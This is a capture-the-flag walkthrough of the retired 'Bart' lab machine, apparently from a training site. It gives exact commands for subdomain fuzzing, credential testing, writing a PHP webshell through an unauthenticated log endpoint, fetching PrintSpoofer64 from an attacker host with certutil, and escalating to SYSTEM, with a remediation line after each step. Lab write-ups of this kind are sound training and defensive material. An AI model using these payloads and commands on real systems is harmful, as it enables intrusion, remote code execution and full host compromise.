Bart
Summary
Scanning a single open HTTP port found a virtual-host redirect to bart.htb, then uncovered a public staff forum and an internal chat application on separate subdomains. Staff usernames from the forum combined with a thematic weak password produced valid credentials for the internal chat. That chat application's unauthenticated log-writing endpoint accepted PHP code as a username and wrote it to a caller-specified filename inside the web root, turning the log file into a webshell executing as the IIS service account (NT AUTHORITY\IUSR).
That account held SeImpersonatePrivilege — a default IIS privilege. I downloaded a named-pipe impersonation binary (PrintSpoofer64) via the built-in CertUtil utility and used it to spawn a process as NT AUTHORITY\SYSTEM, achieving full host compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Full TCP port scan with service/version detection.
$ nmap -sV -sC --min-rate 5000 -p- $TARGETFuzz for subdomains using bart.htb as the base domain.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.bart.htb' -mc 200,301,302,403 -vRegister all discovered vhosts for local resolution.
$ echo "$TARGET bart.htb forum.bart.htb internal-01.bart.htb" | sudo tee -a /etc/hostsExact commands 2
Extract staff names and login handles from the public forum page.
$ curl -sS http://forum.bart.htb/ | grep -i 'harvey\|staff\|member\|user'Validate the harvested credential pair; a redirect or session cookie confirms success.
$ curl -sS -i -X POST http://internal-01.bart.htb/simple_chat/login_form.php -d "uname=harvey&passwd=$PASSWORD"FixRestrict the internal chat application to internal network access only and enforce strong passwordsHigh
Exact commands 2
URL-encoded payload writes <?php system($_GET['c']); ?> to /log/cmd.php.
$ curl -sS 'http://internal-01.bart.htb/log/log.php?filename=cmd.php&username=%3C%3Fphp+system%28%24_GET%5B%27c%27%5D%29%3B+%3F%3E'Verify webshell execution; expected output: nt authority\iusr.
$ curl -sS -G --data-urlencode 'c=whoami' 'http://internal-01.bart.htb/log/cmd.php'
nt authority\iusrFixRemove the user-controlled filename parameter from the log endpoint and sanitise all logged inputCritical
Exact commands 2
Display full token including all privileges; confirm SeImpersonatePrivilege is Enabled.
$ curl -sS -G --data-urlencode 'c=whoami /all' 'http://internal-01.bart.htb/log/cmd.php'Enumerate OS build and patch level to select the correct impersonation binary.
$ curl -sS -G --data-urlencode 'c=systeminfo' 'http://internal-01.bart.htb/log/cmd.php'FixRemove SeImpersonatePrivilege from the IIS service account and upgrade the end-of-life OSCritical
Exact commands 3
Serve PrintSpoofer64.exe from my machine; replace $ATTACKER_IP below with $ATTACKER_IP.
$ python3 -m http.server 80Download PrintSpoofer64.exe to a world-writable temp directory via the CertUtil LOLBin.
$ curl -sS -G --data-urlencode "c=certutil -urlcache -split -f http://$ATTACKER_IP/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe" 'http://internal-01.bart.htb/log/cmd.php'Confirm PrintSpoofer64.exe is present before triggering it.
$ curl -sS -G --data-urlencode 'c=dir C:\Windows\Temp /b' 'http://internal-01.bart.htb/log/cmd.php'Exact commands 3
Single request: spawn SYSTEM cmd, redirect output, read it back. Expect: nt authority\system.
$ curl -sS -G --max-time 20 --data-urlencode 'c=C:\Windows\Temp\PrintSpoofer64.exe -c "cmd /c whoami > C:\Windows\Temp\whoami.txt" & type C:\Windows\Temp\whoami.txt' 'http://internal-01.bart.htb/log/cmd.php'Locate exact flag file paths under all user profiles while running as iusr (pre-SYSTEM step to map paths).
$ curl -sS -G --max-time 20 --data-urlencode 'c=dir /s /b C:\Users\user.txt C:\Users\root.txt' 'http://internal-01.bart.htb/log/cmd.php'Read root flag as SYSTEM; captured value is <root.txt>.
$ curl -sS -G --max-time 20 --data-urlencode 'c=C:\Windows\Temp\PrintSpoofer64.exe -c "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Windows\Temp\flags.txt" & type C:\Windows\Temp\flags.txt' 'http://internal-01.bart.htb/log/cmd.php'Attack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 80/tcp | http |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.